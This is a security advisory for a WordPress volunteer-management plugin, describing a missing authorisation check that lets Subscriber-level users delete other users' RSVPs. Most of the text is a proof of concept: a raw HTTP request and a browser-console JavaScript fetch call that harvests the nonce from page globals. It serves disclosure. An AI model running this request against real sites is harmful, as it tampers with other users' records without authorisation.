Wired Impact Volunteer Management < 2.8.2 – Subscriber+ Arbitrary RSVP Removal via wivm_remove_rsvp | CVE 2026-16546

Description

The plugin does not have authorisation checks in one of its AJAX actions, and does not verify that the RSVP being removed belongs to the requesting user, allowing users with a role as low as Subscriber to remove arbitrary users' RSVPs from any volunteer opportunity.

Proof of Concept

Raw HTTP request (requires only a valid Subscriber-level session and the nonce exposed to that account via wp-admin):

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim-site.com
Content-Type: application/x-www-form-urlencoded
Cookie: <subscriber's own valid session cookies>

action=wivm_remove_rsvp&data[post_id]=<TARGET_OPPORTUNITY_ID>&data[user_id]=<VICTIM_USER_ID>&data[nonce]=<NONCE_FROM_WIVM_AJAX_OBJECT>

Equivalent JS (executed from the Subscriber's own logged-in browser session, e.g. via browser console while on any /wp-admin/ page):

fetch('/wp-admin/admin-ajax.php', {
  method: 'POST',
  headers: {'Content-Type': 'application/x-www-form-urlencoded'},
  body: 'action=wivm_remove_rsvp&data[post_id]=<TARGET_OPPORTUNITY_ID>&data[user_id]=<VICTIM_USER_ID>&data[nonce]=' + wivm_ajax.remove_user_rsvp_nonce
})
.then(r => r.text())
.then(t => console.log('RESPONSE:', t));

Server responds with "1" on success. The nonce (wivm_ajax.remove_user_rsvp_nonce) is available to any logged-in user via the page source/JS globals on any wp-admin page, since it is localized unconditionally on admin_enqueue_scripts. No capability check ties the removal action to the requesting user's own RSVP.